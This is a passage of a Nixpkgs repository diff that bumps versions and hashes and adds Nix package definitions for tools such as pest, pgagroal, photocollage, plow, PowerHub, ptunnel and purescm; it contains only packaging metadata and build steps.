"6b127276e3f263f7bb17d5077e9e0269e61b2a0e", "shasum": "" }, "require": { @@ -3512,13 +3520,13 @@ "php": "^8.1.0" }, "require-dev": { - "friendsofphp/php-cs-fixer": "^3.47.1", - "illuminate/view": "^10.41.0", + "friendsofphp/php-cs-fixer": "^3.49.0", + "illuminate/view": "^10.43.0", "larastan/larastan": "^2.8.1", "laravel-zero/framework": "^10.3.0", "mockery/mockery": "^1.6.7", "nunomaduro/termwind": "^1.15.1", - "pestphp/pest": "^2.31.0" + "pestphp/pest": "^2.33.6" }, "bin": [ "builds/pint" @@ -3554,7 +3562,7 @@ "issues": "https://github.com/laravel/pint/issues", "source": "https://github.com/laravel/pint" }, - "time": "2024-01-22T09:04:15+00:00" + "time": "2024-02-20T17:38:05+00:00" }, { "name": "nette/utils", @@ -3777,16 +3785,16 @@ }, { "name": "phpstan/phpstan", - "version": "1.10.57", + "version": "1.10.59", "source": { "type": "git", "url": "https://github.com/phpstan/phpstan.git", - "reference": "1627b1d03446904aaa77593f370c5201d2ecc34e" + "reference": "e607609388d3a6d418a50a49f7940e8086798281" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpstan/phpstan/zipball/1627b1d03446904aaa77593f370c5201d2ecc34e", - "reference": "1627b1d03446904aaa77593f370c5201d2ecc34e", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/e607609388d3a6d418a50a49f7940e8086798281", + "reference": "e607609388d3a6d418a50a49f7940e8086798281", "shasum": "" }, "require": { @@ -3835,7 +3843,7 @@ "type": "tidelift" } ], - "time": "2024-01-24T11:51:34+00:00" + "time": "2024-02-20T13:59:13+00:00" }, { "name": "phpstan/phpstan-strict-rules", @@ -4016,16 +4024,16 @@ }, { "name": "symfony/var-dumper", - "version": "v6.4.3", + "version": "v6.4.4", "source": { "type": "git", "url": "https://github.com/symfony/var-dumper.git", - "reference": "0435a08f69125535336177c29d56af3abc1f69da" + "reference": "b439823f04c98b84d4366c79507e9da6230944b1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/0435a08f69125535336177c29d56af3abc1f69da", - "reference": "0435a08f69125535336177c29d56af3abc1f69da", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/b439823f04c98b84d4366c79507e9da6230944b1", + "reference": "b439823f04c98b84d4366c79507e9da6230944b1", "shasum": "" }, "require": { @@ -4081,7 +4089,7 @@ "dump" ], "support": { - "source": "https://github.com/symfony/var-dumper/tree/v6.4.3" + "source": "https://github.com/symfony/var-dumper/tree/v6.4.4" }, "funding": [ { @@ -4097,20 +4105,20 @@ "type": "tidelift" } ], - "time": "2024-01-23T14:53:30+00:00" + "time": "2024-02-15T11:23:52+00:00" }, { "name": "symplify/phpstan-rules", - "version": "12.4.7", + "version": "12.4.8", "source": { "type": "git", "url": "https://github.com/symplify/phpstan-rules.git", - "reference": "7ebbcf2883c5e5ee3807c6580f7a9865970e83b7" + "reference": "393656aaf9fd09d9dc40d658c57ef222dd1f082d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symplify/phpstan-rules/zipball/7ebbcf2883c5e5ee3807c6580f7a9865970e83b7", - "reference": "7ebbcf2883c5e5ee3807c6580f7a9865970e83b7", + "url": "https://api.github.com/repos/symplify/phpstan-rules/zipball/393656aaf9fd09d9dc40d658c57ef222dd1f082d", + "reference": "393656aaf9fd09d9dc40d658c57ef222dd1f082d", "shasum": "" }, "require": { @@ -4140,7 +4148,7 @@ "description": "Set of Symplify rules for PHPStan", "support": { "issues": "https://github.com/symplify/phpstan-rules/issues", - "source": "https://github.com/symplify/phpstan-rules/tree/12.4.7" + "source": "https://github.com/symplify/phpstan-rules/tree/12.4.8" }, "funding": [ { @@ -4152,7 +4160,7 @@ "type": "github" } ], - "time": "2024-01-17T11:30:56+00:00" + "time": "2024-02-09T21:23:31+00:00" }, { "name": "thecodingmachine/phpstan-strict-rules", diff --git a/pkgs/by-name/pe/pest/package.nix b/pkgs/by-name/pe/pest/package.nix index 4d5fc7defe56a..6f01bb3587d15 100644 --- a/pkgs/by-name/pe/pest/package.nix +++ b/pkgs/by-name/pe/pest/package.nix @@ -2,17 +2,17 @@ php.buildComposerProject (finalAttrs: { pname = "pest"; - version = "2.33.4"; + version = "2.34.1"; src = fetchFromGitHub { owner = "pestphp"; repo = "pest"; rev = "v${finalAttrs.version}"; - hash = "sha256-9AJww0mynlacBsQvqb++vWn0vsapxFeXsA/tJJEQGFI="; + hash = "sha256-499DHFrPcWl6TwycZidGzLqLztmVkgC3jzHZV69p7kE="; }; composerLock = ./composer.lock; - vendorHash = "sha256-Z3vmHqySLU0zRqnDoVTt6FURxtJjVOyUXlURSsO6XE8="; + vendorHash = "sha256-Ofz8v3gUuZryN5z6CBfxm+UQ8z0aTkkum1am5x1LicA="; meta = { changelog = "https://github.com/pestphp/pest/releases/tag/v${finalAttrs.version}"; diff --git a/pkgs/development/tools/database/pgagroal/do-not-search-libatomic.patch b/pkgs/by-name/pg/pgagroal/do-not-search-libatomic.patch index 7f65205332b87..7f65205332b87 100644 --- a/pkgs/development/tools/database/pgagroal/do-not-search-libatomic.patch +++ b/pkgs/by-name/pg/pgagroal/do-not-search-libatomic.patch diff --git a/pkgs/by-name/pg/pgagroal/package.nix b/pkgs/by-name/pg/pgagroal/package.nix new file mode 100644 index 0000000000000..8ba0803d96bc7 --- /dev/null +++ b/pkgs/by-name/pg/pgagroal/package.nix @@ -0,0 +1,29 @@ +{ lib, stdenv, fetchFromGitHub, cjson, cmake, docutils, libev, openssl, systemd }: + +stdenv.mkDerivation (finalAttrs: { + pname = "pgagroal"; + version = "1.6.0"; + + src = fetchFromGitHub { + owner = "agroal"; + repo = "pgagroal"; + rev = finalAttrs.version; + hash = "sha256-bgJvGJ35RdFopW88o+H1DLpG70anP197y6xrpRRrxUA="; + }; + + patches = [ ./do-not-search-libatomic.patch ]; + + nativeBuildInputs = [ cmake docutils ]; + + buildInputs = [ cjson libev openssl ] + ++ lib.optionals stdenv.isLinux [ systemd ]; + + meta = with lib; { + description = "High-performance connection pool for PostgreSQL"; + homepage = "https://agroal.github.io/pgagroal/"; + changelog = "https://github.com/agroal/pgagroal/releases/tag/${finalAttrs.version}"; + license = licenses.bsd3; + maintainers = [ maintainers.marsam ]; + platforms = platforms.unix; + }; +}) diff --git a/pkgs/by-name/pg/pgmoneta/package.nix b/pkgs/by-name/pg/pgmoneta/package.nix index c4ee9ce373822..ee9ac2bbeefa9 100644 --- a/pkgs/by-name/pg/pgmoneta/package.nix +++ b/pkgs/by-name/pg/pgmoneta/package.nix @@ -19,13 +19,13 @@ stdenv.mkDerivation rec { pname = "pgmoneta"; - version = "0.8.0"; + version = "0.9.0"; src = fetchFromGitHub { owner = "pgmoneta"; repo = "pgmoneta"; rev = version; - hash = "sha256-bIuVFF8v7O++g7lorGduAlOGx4XoiqjqkTWHM3RNNdg="; + hash = "sha256-KVweAsmAQGUkBAxR7gPJe6mygfG7xApvJFRiCbSFq9E="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/ph/phel/package.nix b/pkgs/by-name/ph/phel/package.nix index 2c6431da28870..209f7bd8bbd43 100644 --- a/pkgs/by-name/ph/phel/package.nix +++ b/pkgs/by-name/ph/phel/package.nix @@ -17,7 +17,7 @@ php.buildComposerProject (finalAttrs: { vendorHash = "sha256-83GX/dxHa6w1E34wnJshg7yxlVyRkDT5jmAPCCqPdtA="; doInstallCheck = true; - postCheckInstall = '' + postInstallCheck = '' $out/bin/phel --version ''; diff --git a/pkgs/by-name/ph/photocollage/package.nix b/pkgs/by-name/ph/photocollage/package.nix new file mode 100644 index 0000000000000..f02efb9f2e901 --- /dev/null +++ b/pkgs/by-name/ph/photocollage/package.nix @@ -0,0 +1,59 @@ +{ lib +, python3Packages +, fetchFromGitHub +, gettext +, gdk-pixbuf +, gobject-introspection +, wrapGAppsHook +}: + +python3Packages.buildPythonApplication rec { + pname = "photocollage"; + version = "1.4.6"; + + src = fetchFromGitHub { + owner = "adrienverge"; + repo = "PhotoCollage"; + rev = "v${version}"; + hash = "sha256-jDb2mFsok8TNi9+A/FAieqo7YbAUsmrFRBGwdGv71Xg="; + }; + + propagatedBuildInputs = with python3Packages; [ + pillow + pycairo + pygobject3 + ]; + + buildInputs = [ + gdk-pixbuf + ]; + + nativeBuildInputs = [ + gettext + gobject-introspection + wrapGAppsHook + ]; + + dontWrapGApps = true; + + preFixup = '' + makeWrapperArgs+=("''${gappsWrapperArgs[@]}") + ''; + + postInstall = '' + # Based on the debian package's list of files. Link: + # https://packages.debian.org/bookworm/all/photocollage/filelist + install -Dm0644 ./data/photocollage.desktop $out/share/applications/photocollage.desktop + install -Dm0644 ./data/photocollage.appdata.xml $out/share/appdata/photocollage.appdata.xml + cp -r ./data/icons $out/share/icons + ''; + + meta = { + description = "Graphical tool to make photo collage posters"; + homepage = "https://github.com/adrienverge/PhotoCollage"; + license = lib.licenses.gpl2Plus; + maintainers = with lib.maintainers; [ eliandoran ]; + platforms = lib.platforms.linux; + mainProgram = "photocollage"; + }; +} diff --git a/pkgs/by-name/ph/phpdocumentor/package.nix b/pkgs/by-name/ph/phpdocumentor/package.nix index 3f2002a0da4af..d94b143a0c0e6 100644 --- a/pkgs/by-name/ph/phpdocumentor/package.nix +++ b/pkgs/by-name/ph/phpdocumentor/package.nix @@ -5,16 +5,19 @@ php.buildComposerProject (finalAttrs: { pname = "phpdocumentor"; - version = "3.4.1"; + version = "3.4.3"; src = fetchFromGitHub { owner = "phpDocumentor"; repo = "phpDocumentor"; rev = "v${finalAttrs.version}"; - hash = "sha256-fNjix3pJDRCTWM3Xtn+AtZe4RJfgQ60kiJB9J9tC5t4="; + hash = "sha256-NCBCwQ8im6ttFuQBaG+bzmtinf+rqNnbogcK8r60dCM="; }; - vendorHash = "sha256-rsBg2EHbvYLVr6haN1brHZFVjLDaxqdkNWf0HL3Eoy0="; + vendorHash = "sha256-/TJ/CahmOWcRBlAsJDzWcfhlDd+ypRapruFT0Dvlb1w="; + + # Needed because of the unbound version constraint on phpdocumentor/json-path + composerStrictValidation = false; installPhase = '' runHook preInstall diff --git a/pkgs/by-name/ph/phpunit/package.nix b/pkgs/by-name/ph/phpunit/package.nix index c7b6495c51209..11077d9512402 100644 --- a/pkgs/by-name/ph/phpunit/package.nix +++ b/pkgs/by-name/ph/phpunit/package.nix @@ -1,17 +1,20 @@ -{ lib, fetchFromGitHub, php }: +{ lib +, fetchFromGitHub +, php +}: php.buildComposerProject (finalAttrs: { pname = "phpunit"; - version = "11.0.2"; + version = "11.0.4"; src = fetchFromGitHub { owner = "sebastianbergmann"; repo = "phpunit"; rev = finalAttrs.version; - hash = "sha256-k0ox4/Djpu6DoWGzQdo7wYSZHSeaCtNVuEwK3bhBgQQ="; + hash = "sha256-ucUDeiqz8QkCsKM/SfHVjJSnfs0TRaV04CTKepSzyo0="; }; - vendorHash = "sha256-2rG0ERgI5oVW3MuU8yFwgssoWX6zwUwXpro2IVkX7ac="; + vendorHash = "sha256-0jbSUIT4Eh1lWu11REgE4ilGlw1zuawXeKCPBHnoxdk="; meta = { changelog = "https://github.com/sebastianbergmann/phpunit/blob/${finalAttrs.version}/ChangeLog-${lib.versions.majorMinor finalAttrs.version}.md"; diff --git a/pkgs/applications/window-managers/picom/default.nix b/pkgs/by-name/pi/picom/package.nix index bf197ab08f355..bf197ab08f355 100644 --- a/pkgs/applications/window-managers/picom/default.nix +++ b/pkgs/by-name/pi/picom/package.nix diff --git a/pkgs/by-name/pi/pinact/package.nix b/pkgs/by-name/pi/pinact/package.nix index 7e5b90100ee30..a5cee76cd9c6a 100644 --- a/pkgs/by-name/pi/pinact/package.nix +++ b/pkgs/by-name/pi/pinact/package.nix @@ -1,6 +1,6 @@ { lib , fetchFromGitHub -, buildGo120Module +, buildGoModule , testers , pinact }: @@ -15,7 +15,7 @@ let hash = "sha256-OQo21RHk0c+eARKrA2qB4NAWWanb94DOZm4b9lqDz8o="; }; in -buildGo120Module { +buildGoModule { inherit pname version src; vendorHash = "sha256-g7rdIE+w/pn70i8fOmAo/QGjpla3AUWm7a9MOhNmrgE="; diff --git a/pkgs/by-name/pl/plow/package.nix b/pkgs/by-name/pl/plow/package.nix new file mode 100644 index 0000000000000..237b889c71e03 --- /dev/null +++ b/pkgs/by-name/pl/plow/package.nix @@ -0,0 +1,30 @@ +{ lib, buildGoModule, fetchFromGitHub, testers, plow }: + +buildGoModule rec { + pname = "plow"; + version = "1.3.1"; + + src = fetchFromGitHub { + owner = "six-ddc"; + repo = "plow"; + rev = "refs/tags/v${version}"; + hash = "sha256-TynFq7e4MtZlA5SmGMybhmCVw67yHYgZWffQjuyhTDA="; + }; + + vendorHash = "sha256-t2lBPyCn8bu9hLsWmaCGir9egbX0mQR+8kB0RfY7nHE="; + + ldflags = [ "-s" "-w" ]; + + passthru.tests.version = testers.testVersion { + package = plow; + }; + + meta = with lib; { + description = "A high-performance HTTP benchmarking tool that includes a real-time web UI and terminal display"; + homepage = "https://github.com/six-ddc/plow"; + changelog = "https://github.com/six-ddc/plow/releases/tag/v${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ ecklf ]; + mainProgram = "plow"; + }; +} diff --git a/pkgs/by-name/pl/plumber/package.nix b/pkgs/by-name/pl/plumber/package.nix index e306d09cdf35b..4c1f02149712f 100644 --- a/pkgs/by-name/pl/plumber/package.nix +++ b/pkgs/by-name/pl/plumber/package.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "plumber"; - version = "2.5.2"; + version = "2.5.4"; src = fetchFromGitHub { owner = "streamdal"; repo = pname; rev = "v${version}"; - hash = "sha256-ftXLipJQjRdOSNO56rIRfAKKU0kHtAK85hgcT3nYOKA="; + hash = "sha256-6nPH+HQtpFJ4MAtblFWjaQjDSKtpIxW9tGt2o1ICtos="; }; vendorHash = null; @@ -18,12 +18,12 @@ buildGoModule rec { export HOME="$(mktemp -d)" ''; + subPackages = [ "." ]; + ldflags = [ "-s" "-w" "-X github.com/streamdal/plumber/options.VERSION=${version}" - # remove once module in go.mod is renamed to github.com/batchcorp/streamdal - "-X github.com/batchcorp/plumber/options.VERSION=${version}" ]; meta = with lib; { diff --git a/pkgs/by-name/pm/pmtiles/package.nix b/pkgs/by-name/pm/pmtiles/package.nix index 4e9cffd9173e0..503b32dc22fa0 100644 --- a/pkgs/by-name/pm/pmtiles/package.nix +++ b/pkgs/by-name/pm/pmtiles/package.nix @@ -1,13 +1,13 @@ { lib, buildGoModule, fetchFromGitHub }: buildGoModule rec { pname = "pmtiles"; - version = "1.14.1"; + version = "1.17.0"; src = fetchFromGitHub { owner = "protomaps"; repo = "go-pmtiles"; rev = "v${version}"; - hash = "sha256-CnREcPXNehxOMZm/cuedkDeWtloc7TGWNmmoFZhSTZE="; + hash = "sha256-BHzQMSIE94LW6SGcpaMdX/ztzVLlmWquwWMbruLAt00="; }; vendorHash = "sha256-tSQjCdgEXIGlSWcIB6lLQulAiEAebgW3pXL9Z2ujgIs="; diff --git a/pkgs/by-name/po/poethepoet/package.nix b/pkgs/by-name/po/poethepoet/package.nix index 4faecc29cff19..063e56d85bdbb 100644 --- a/pkgs/by-name/po/poethepoet/package.nix +++ b/pkgs/by-name/po/poethepoet/package.nix @@ -5,14 +5,14 @@ python3.pkgs.buildPythonApplication rec { pname = "poethepoet"; - version = "0.24.4"; + version = "0.25.0"; pyproject = true; src = fetchFromGitHub { owner = "nat-n"; repo = "poethepoet"; - rev = "v${version}"; - hash = "sha256-RTV3TVNciJE7dC/gtViZcSWFXR2A4qNMAJ/1OEzMAus="; + rev = "refs/tags/v${version}"; + hash = "sha256-7EHSTkmHIR13FgncmXpjZNrJFomJW6LTVw+BAbnrfRM="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/po/powerhub/package.nix b/pkgs/by-name/po/powerhub/package.nix new file mode 100644 index 0000000000000..2200985699660 --- /dev/null +++ b/pkgs/by-name/po/powerhub/package.nix @@ -0,0 +1,64 @@ +{ lib +, fetchFromGitHub +, python3 +}: + +python3.pkgs.buildPythonApplication rec { + pname = "powerhub"; + version = "2.0.7"; + pyproject = true; + + src = fetchFromGitHub { + owner = "AdrianVollmer"; + repo = "PowerHub"; + rev = "refs/tags/${version}"; + hash = "sha256-ejdG/vMINyvToP8GAhRMdp/Jq8rZNBubDbRcg2i05lM="; + }; + + nativeBuildInputs = with python3.pkgs; [ + setuptools + setuptools-scm + ]; + + propagatedBuildInputs = with python3.pkgs; [ + cheroot + cryptography + dnspython + flask + flask-socketio + flask-sqlalchemy + importlib-metadata + jinja2 + pyopenssl + python-magic + python-socketio + requests + service-identity + simple-websocket + sqlalchemy + twisted + watchdog + werkzeug + wsgidav + ]; + + # Tests uses XDG + doCheck = false; + + pythonImportsCheck = [ + "powerhub" + ]; + + preCheck = '' + cd tests/helpers + ''; + + meta = with lib; { + description = "Post exploitation tool based on a web application, focusing on bypassing endpoint protection and application whitelisting"; + homepage = "https://github.com/AdrianVollmer/PowerHub"; + changelog = "https://github.com/AdrianVollmer/PowerHub/blob/${version}/CHANGELOG.md"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + mainProgram = "powerhub"; + }; +} diff --git a/pkgs/by-name/pq/pql/package.nix b/pkgs/by-name/pq/pql/package.nix new file mode 100644 index 0000000000000..9697d80ad25f7 --- /dev/null +++ b/pkgs/by-name/pq/pql/package.nix @@ -0,0 +1,28 @@ +{ lib +, buildGoModule +, fetchFromGitHub +}: + +buildGoModule rec { + pname = "pql"; + version = "0.1.0"; + + src = fetchFromGitHub { + owner = "runreveal"; + repo = "pql"; + rev = "v${version}"; + hash = "sha256-xNWwjDdnF4+IvS814iJlqCFYNOGNF2nHEnnbRqxJsjM="; + }; + + vendorHash = "sha256-j/R+1PWfX+lmm99cHWSuo+v8RxKg089Bvb4rFHpmpfE="; + + ldflags = [ "-s" "-w" ]; + + meta = with lib; { + description = "Pipelined Query Language"; + homepage = "https://github.com/runreveal/pql"; + license = licenses.asl20; + maintainers = with maintainers; [ dit7ya ]; + mainProgram = "pql"; + }; +} diff --git a/pkgs/by-name/pr/presenterm/package.nix b/pkgs/by-name/pr/presenterm/package.nix index 8745736119ba7..e14510559cbec 100644 --- a/pkgs/by-name/pr/presenterm/package.nix +++ b/pkgs/by-name/pr/presenterm/package.nix @@ -9,20 +9,20 @@ rustPlatform.buildRustPackage rec { pname = "presenterm"; - version = "0.6.1"; + version = "0.7.0"; src = fetchFromGitHub { owner = "mfontanini"; repo = "presenterm"; rev = "refs/tags/v${version}"; - hash = "sha256-+XESFDseRScWYOry58JLknGv+xhewTKx38lrzQu2mQ4="; + hash = "sha256-I5L+Wygj9ApQu/5fm55okwNbyxOiF++7BDl765MLnjY="; }; buildInputs = [ libsixel ]; - cargoHash = "sha256-xZLGm+tGAmmo/OzDMrgQK0uH7GMG6fTkpPsXwLe94VM="; + cargoHash = "sha256-w1uXCH8Ybf78EPTIKrhPlPHAnNBp1iiBpFJHY98IPWY="; # Crashes at runtime on darwin with: # Library not loaded: .../out/lib/libsixel.1.dylib diff --git a/pkgs/by-name/pr/preserves-tools/package.nix b/pkgs/by-name/pr/preserves-tools/package.nix index 7b8407aea02fd..170184efe72f0 100644 --- a/pkgs/by-name/pr/preserves-tools/package.nix +++ b/pkgs/by-name/pr/preserves-tools/package.nix @@ -2,14 +2,14 @@ rustPlatform.buildRustPackage rec { pname = "preserves-tools"; - version = "4.992.2"; + version = "4.994.0"; src = fetchCrate { inherit pname version; - hash = "sha256-1IX6jTAH6qWE8X7YtIka5Z4y70obiVotOXzRnu+Z6a0="; + hash = "sha256-+I2uxdAe4SHg8ZLRvkIUr862FH6GvCwnyhxcCPD3JBA="; }; - cargoHash = "sha256-D/ZCKRqZtPoCJ9t+5+q1Zm79z3K6Rew4eyuyDiGVGUs="; + cargoHash = "sha256-09uxXD9EZzzk42tBYbuqaLRFyGmOUuvC7G0XMDjsK6E="; meta = { description = diff --git a/pkgs/by-name/pr/prometheus-restic-exporter/package.nix b/pkgs/by-name/pr/prometheus-restic-exporter/package.nix index 4e3736a573b6e..603650a66ab63 100644 --- a/pkgs/by-name/pr/prometheus-restic-exporter/package.nix +++ b/pkgs/by-name/pr/prometheus-restic-exporter/package.nix @@ -8,13 +8,13 @@ stdenvNoCC.mkDerivation rec { pname = "prometheus-restic-exporter"; - version = "1.4.0"; + version = "1.5.0"; src = fetchFromGitHub { owner = "ngosang"; repo = "restic-exporter"; rev = version; - hash = "sha256-Qwhlecginl5+V+iddN/vIHfJA1kQOZtscECsoD4LJPE="; + hash = "sha256-SC2ZCIQ33RaFI9+l/WI6edNzGEtsxJ2bBdeGNMHuyqY="; }; buildInputs = [ @@ -26,7 +26,7 @@ stdenvNoCC.mkDerivation rec { install -D -m0755 restic-exporter.py $out/bin/restic-exporter.py - substituteInPlace $out/bin/restic-exporter.py --replace \"restic\" \"${lib.makeBinPath [ restic ]}/restic\" + substituteInPlace $out/bin/restic-exporter.py --replace-fail \"restic\" \"${lib.makeBinPath [ restic ]}/restic\" patchShebangs $out/bin/restic-exporter.py diff --git a/pkgs/by-name/pr/promptfoo/package.nix b/pkgs/by-name/pr/promptfoo/package.nix index 0aa9599f0508e..4be98d738fcc5 100644 --- a/pkgs/by-name/pr/promptfoo/package.nix +++ b/pkgs/by-name/pr/promptfoo/package.nix @@ -5,16 +5,16 @@ buildNpmPackage rec { pname = "promptfoo"; - version = "0.39.1"; + version = "0.43.1"; src = fetchFromGitHub { owner = "promptfoo"; repo = "promptfoo"; rev = "${version}"; - hash = "sha256-RnmvL3zcfWNqjnxCHNszGDAweKVT0GQ5GANJWVCRR/w="; + hash = "sha256-659cVRw++71zd0hzyz/dF9VgoChDXPDvHwgSmIyjnNw="; }; - npmDepsHash = "sha256-OGYAYd1MCOFtdTgcsZcnWgTxtx28889RZhQ6fAe2HuI="; + npmDepsHash = "sha256-606CKRMFPdawiqpvzYizwgfQ6Y4YbZngBuQb3fhtpd0="; dontNpmBuild = true; diff --git a/pkgs/by-name/pr/prowler/package.nix b/pkgs/by-name/pr/prowler/package.nix index 466732634cd6d..702d78b78a79f 100644 --- a/pkgs/by-name/pr/prowler/package.nix +++ b/pkgs/by-name/pr/prowler/package.nix @@ -21,6 +21,7 @@ python3.pkgs.buildPythonApplication rec { "botocore" "google-api-python-client" "slack-sdk" + "pydantic" ]; nativeBuildInputs = with python3.pkgs; [ diff --git a/pkgs/applications/audio/ptcollab/default.nix b/pkgs/by-name/pt/ptcollab/package.nix index ca98012c3ff54..f03d89e7c490f 100644 --- a/pkgs/applications/audio/ptcollab/default.nix +++ b/pkgs/by-name/pt/ptcollab/package.nix @@ -1,40 +1,39 @@ -{ mkDerivation +{ stdenv , lib -, stdenv , fetchFromGitHub , nix-update-script +, libsForQt5 , libvorbis , pkg-config -, qmake -, qtbase -, qttools -, qtmultimedia , rtmidi }: -mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "ptcollab"; - version = "0.6.4.7"; + version = "0.6.4.8"; src = fetchFromGitHub { owner = "yuxshao"; repo = "ptcollab"; - rev = "v${version}"; - hash = "sha256-KYNov/HbKM2d8VVO8iyWA3XWFDE9iWeKkRCNC1xlPNw="; + rev = "v${finalAttrs.version}"; + hash = "sha256-9u2K79QJRfYKL66e1lsRrQMEqmKTWbK+ucal3/u4rP4="; }; nativeBuildInputs = [ pkg-config + ] ++ (with libsForQt5; [ qmake qttools - ]; + wrapQtAppsHook + ]); buildInputs = [ libvorbis + rtmidi + ] ++ (with libsForQt5; [ qtbase qtmultimedia - rtmidi - ]; + ]); postInstall = lib.optionalString stdenv.hostPlatform.isDarwin '' # Move appbundles to Applications before wrapping happens @@ -54,8 +53,9 @@ mkDerivation rec { meta = with lib; { description = "Experimental pxtone editor where you can collaborate with friends"; homepage = "https://yuxshao.github.io/ptcollab/"; + changelog = "https://github.com/yuxshao/ptcollab/releases/tag/v${finalAttrs.version}"; license = licenses.mit; maintainers = with maintainers; [ OPNA2608 ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/by-name/pt/ptouch-driver/package.nix b/pkgs/by-name/pt/ptouch-driver/package.nix new file mode 100644 index 0000000000000..851fb0862aa39 --- /dev/null +++ b/pkgs/by-name/pt/ptouch-driver/package.nix @@ -0,0 +1,82 @@ +{ lib +, stdenv +, fetchFromGitHub +, cups +, cups-filters +, foomatic-db-engine +, fetchpatch +, ghostscript +, libpng +, libxml2 +, autoreconfHook +, perl +, patchPpdFilesHook +}: + +stdenv.mkDerivation rec { + pname = "ptouch-driver"; + version = "1.7"; + + src = fetchFromGitHub { + owner = "philpem"; + repo = "printer-driver-ptouch"; + rev = "v${version}"; + hash = "sha256-3ZotSHn7lERp53hAzx47Ct/k565rEoensCcltwX/Xls="; + }; + + patches = [ + # Fixes some invalid XML file that otherwise causes a build failure + (fetchpatch { + name = "fix-brother-ql-600.patch"; + url = "https://github.com/philpem/printer-driver-ptouch/commit/b3c53b3bc4dd98ed172f2c79405c7c09b3b3836a.patch"; + hash = "sha256-y5bHKFeRXx8Wdl1++l4QNGgiY41LY5uzrRdOlaZyF9I="; + }) + ]; + + buildInputs = [ cups cups-filters ghostscript libpng libxml2 ]; + nativeBuildInputs = [ + autoreconfHook + foomatic-db-engine + patchPpdFilesHook + (perl.withPackages (pp: with pp; [ XMLLibXML ])) + ]; + + postPatch = '' + patchShebangs ./foomaticalize + ''; + + postInstall = '' + export FOOMATICDB="${placeholder "out"}/share/foomatic" + mkdir -p "${placeholder "out"}/share/cups/model" + foomatic-compiledb -j "$NIX_BUILD_CORES" -d "${placeholder "out"}/share/cups/model/ptouch-driver" + ''; + + # compress ppd files + postFixup = '' + echo 'compressing ppd files' + find -H "${placeholder "out"}/share/cups/model/ptouch-driver" -type f -iname '*.ppd' -print0 \ + | xargs -0r -n 4 -P "$NIX_BUILD_CORES" gzip -9n + ''; + + # Comments indicate the respective + # package the command is contained in. + ppdFileCommands = [ + "rastertoptch" # ptouch-driver + "gs" # ghostscript + "foomatic-rip" # cups-filters + ]; + + meta = with lib; { + changelog = "https://github.com/philpem/printer-driver-ptouch/releases/tag/v${version}"; + description = "Printer Driver for Brother P-touch and QL Label Printers"; + downloadPage = "https://github.com/philpem/printer-driver-ptouch"; + homepage = "https://github.com/philpem/printer-driver-ptouch"; + license = licenses.gpl2Plus; + maintainers = with maintainers; [ sascha8a ]; + platforms = platforms.linux; + longDescription = '' + This is ptouch-driver, a printer driver based on CUPS and foomatic, + for the Brother P-touch and QL label printer families. + ''; + }; +} diff --git a/pkgs/by-name/pt/ptunnel/package.nix b/pkgs/by-name/pt/ptunnel/package.nix new file mode 100644 index 0000000000000..fedc0e3a5fe00 --- /dev/null +++ b/pkgs/by-name/pt/ptunnel/package.nix @@ -0,0 +1,52 @@ +{ lib +, stdenv +, fetchurl +, fetchpatch +, libpcap +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "ptunnel"; + version = "0.72"; + + src = fetchurl { + url = "https://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-${finalAttrs.version}.tar.gz"; + hash = "sha256-sxj3qn2IkYtiadBUp+JvBPl9iHD0e9Sadsssmcc0B6Q="; + }; + + patches = [ + # fix hyphen-used-as-minus-sign lintian warning in manpage. + (fetchpatch { + url = "https://salsa.debian.org/alteholz/ptunnel/-/raw/7475a32bc401056aeeb1b99e56b9ae5f1ee9c960/debian/patches/fix_minus_chars_in_man.patch"; + hash = "sha256-DcMsCZczO+SxOiQuFbdSJn5UH5E4TVf3+vupJ4OurVg="; + }) + # fix typo in README file. + (fetchpatch { + url = "https://salsa.debian.org/alteholz/ptunnel/-/raw/7475a32bc401056aeeb1b99e56b9ae5f1ee9c960/debian/patches/fix_typo.diff"; + hash = "sha256-9cdOCfr2r9FnTmxJwvoClW5uf27j05zWQLykahKMJQg="; + }) + # reverse parameters to memset. + (fetchpatch { + url = "https://salsa.debian.org/alteholz/ptunnel/-/raw/1dbf9b69507e19c86ac539fd8e3c60fc274717b3/debian/patches/memset-fix.patch"; + hash = "sha256-dYbuMM0/ZUgi3OxukBIp5rKhlwAjGu7cl/3w3sWr/xU="; + }) + ]; + + makeFlags = [ + "prefix=$(out)" + "CC=cc" + ]; + + buildInputs = [ + libpcap + ]; + + meta = with lib; { + description = "A tool for reliably tunneling TCP connections over ICMP echo request and reply packets"; + homepage = "https://www.cs.uit.no/~daniels/PingTunnel"; + license = licenses.bsd3; + mainProgram = "ptunnel"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + }; +}) diff --git a/pkgs/by-name/pu/purescm/.gitignore b/pkgs/by-name/pu/purescm/.gitignore new file mode 100644 index 0000000000000..c2658d7d1b318 --- /dev/null +++ b/pkgs/by-name/pu/purescm/.gitignore @@ -0,0 +1 @@ +node_modules/ diff --git a/pkgs/by-name/pu/purescm/README.rst b/pkgs/by-name/pu/purescm/README.rst new file mode 100644 index 0000000000000..635d4b46d811a --- /dev/null +++ b/pkgs/by-name/pu/purescm/README.rst @@ -0,0 +1,19 @@ +======================================================================== +purescm +======================================================================== + + +Suggested additional ``buildInputs`` +==================================== + +``chez-racket`` + Upstream is using the Racket fork of Chez Scheme to execute the + generated Scheme output. + + +To update this package +====================== + +#. Bump the ``./package.json`` version pin +#. Run ``nix-shell -p nodejs --command "npm i --package-lock-only"`` +#. Update ``npmDeps.hash`` in the ``package.nix`` diff --git a/pkgs/by-name/pu/purescm/package-lock.json b/pkgs/by-name/pu/purescm/package-lock.json new file mode 100644 index 0000000000000..979e42ae62fdd --- /dev/null +++ b/pkgs/by-name/pu/purescm/package-lock.json @@ -0,0 +1,20 @@ +{ + "name": "purescm", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "dependencies": 